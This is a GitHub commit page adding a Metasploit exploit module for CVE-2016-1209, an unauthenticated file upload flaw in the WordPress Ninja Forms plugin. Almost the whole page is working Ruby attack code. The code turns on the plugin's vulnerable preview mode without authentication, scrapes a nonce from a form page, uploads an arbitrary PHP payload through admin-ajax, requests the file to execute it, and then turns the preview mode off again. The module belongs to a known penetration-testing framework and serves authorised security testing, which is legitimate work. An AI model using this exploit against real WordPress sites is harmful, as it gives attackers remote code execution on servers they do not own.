Skip to content

Commit

Permalink
Land rapid7#6909, Add WordPress Ninja Forms unauthenticated file upload
Browse files Browse the repository at this point in the history
  • Loading branch information
wchen-r7 committed May 25, 2016
2 parents 05680ab + 14e1baf commit fb95abc
Showing 1 changed file with 158 additions and 0 deletions.
Original file line number Diff line number Diff line change
@@ -0,0 +1,158 @@
##
# This module requires Metasploit: http://www.metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HTTP::Wordpress

def initialize(info = {})
super(update_info(
info,
'Name' => 'WordPress Ninja Forms Unauthenticated File Upload',
'Description' => %(
Versions 2.9.36 to 2.9.42 of the Ninja Forms plugin contain
an unauthenticated file upload vulnerability, allowing guests
to upload arbitrary PHP code that can be executed in the context
of the web server.
),
'License' => MSF_LICENSE,
'Author' =>
[
'James Golovich', # Discovery and disclosure
'Rob Carr <rob[at]rastating.com>' # Metasploit module
],
'References' =>
[
['CVE', '2016-1209'],
['WPVDB', '8485'],
['URL', 'http://www.pritect.net/blog/ninja-forms-2-9-42-critical-security-vulnerabilities']
],
'DisclosureDate' => 'May 04 2016',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['ninja-forms', {}]],
'DefaultTarget' => 0
))

opts = [OptString.new('FORM_PATH', [true, 'The relative path of the page that hosts any form served by Ninja Forms'])]
register_options(opts, self.class)
end

def print_status(msg='')
super("#{peer} - #{msg}")
end

def print_good(msg='')
super("#{peer} - #{msg}")
end

def print_error(msg='')
super("#{peer} - #{msg}")
end

def check
check_plugin_version_from_readme('ninja-forms', '2.9.43', '2.9.36')
end

def enable_v3_functionality
print_status 'Enabling vulnerable V3 functionality...'
res = send_request_cgi(
'method' => 'GET',
'uri' => target_uri.path,
'vars_get' => { 'nf-switcher' => 'upgrade' }
)

unless res && res.code == 200
fail_with(Failure::Unreachable, 'Failed to enable the vulnerable V3 functionality')
end

vprint_good 'Enabled V3 functionality'
end

def disable_v3_functionality
print_status 'Disabling vulnerable V3 functionality...'
res = send_request_cgi(
'method' => 'GET',
'uri' => target_uri.path,
'vars_get' => { 'nf-switcher' => 'rollback' }
)

if res && res.code == 200
vprint_good 'Disabled V3 functionality'
else
print_error 'Failed to disable the vulnerable V3 functionality'
end
end

def generate_mime_message(payload_name, nonce)
data = Rex::MIME::Message.new
data.add_part('nf_async_upload', nil, nil, 'form-data; name="action"')
data.add_part(nonce, nil, nil, 'form-data; name="security"')
data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"#{Rex::Text.rand_text_alpha(10)}\"; filename=\"#{payload_name}\"")
data
end

def fetch_ninja_form_nonce
uri = normalize_uri(target_uri.path, datastore['FORM_PATH'])
res = send_request_cgi(
'method' => 'GET',
'uri' => uri
)

fail_with Failure::UnexpectedReply, 'Failed to acquire a nonce' unless res && res.code == 200
res.body[/var nfFrontEnd = \{"ajaxNonce":"([a-zA-Z0-9]+)"/i, 1]
end

def upload_payload(data)
res = send_request_cgi(
'method' => 'POST',
'uri' => wordpress_url_admin_ajax,
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data.to_s
)

fail_with(Failure::Unreachable, 'No response from the target') if res.nil?
vprint_error("Server responded with status code #{res.code}") if res.code != 200
end

def execute_payload(payload_name, payload_url)
register_files_for_cleanup("nftmp-#{payload_name.downcase}")
res = send_request_cgi({ 'uri' => payload_url, 'method' => 'GET' }, 5)

if !res.nil? && res.code == 404
print_error("Failed to upload the payload")
else
print_good("Executed payload")
end
end

def exploit
# Vulnerable code is only available in the version 3 preview mode, which can be
# enabled by unauthenticated users due to lack of user level validation.
enable_v3_functionality

# Once the V3 preview mode is enabled, we can acquire a nonce by requesting any
# page that contains a form generated by Ninja Forms.
nonce = fetch_ninja_form_nonce

print_status("Preparing payload...")
payload_name = "#{Rex::Text.rand_text_alpha(10)}.php"
payload_url = normalize_uri(wordpress_url_wp_content, 'uploads', "nftmp-#{payload_name.downcase}")
data = generate_mime_message(payload_name, nonce)

print_status("Uploading payload to #{payload_url}")
upload_payload(data)

print_status("Executing the payload...")
execute_payload(payload_name, payload_url)

# Once the payload has been executed, we can disable the preview functionality again.
disable_v3_functionality
end
end

0 comments on commit fb95abc

Please sign in to comment.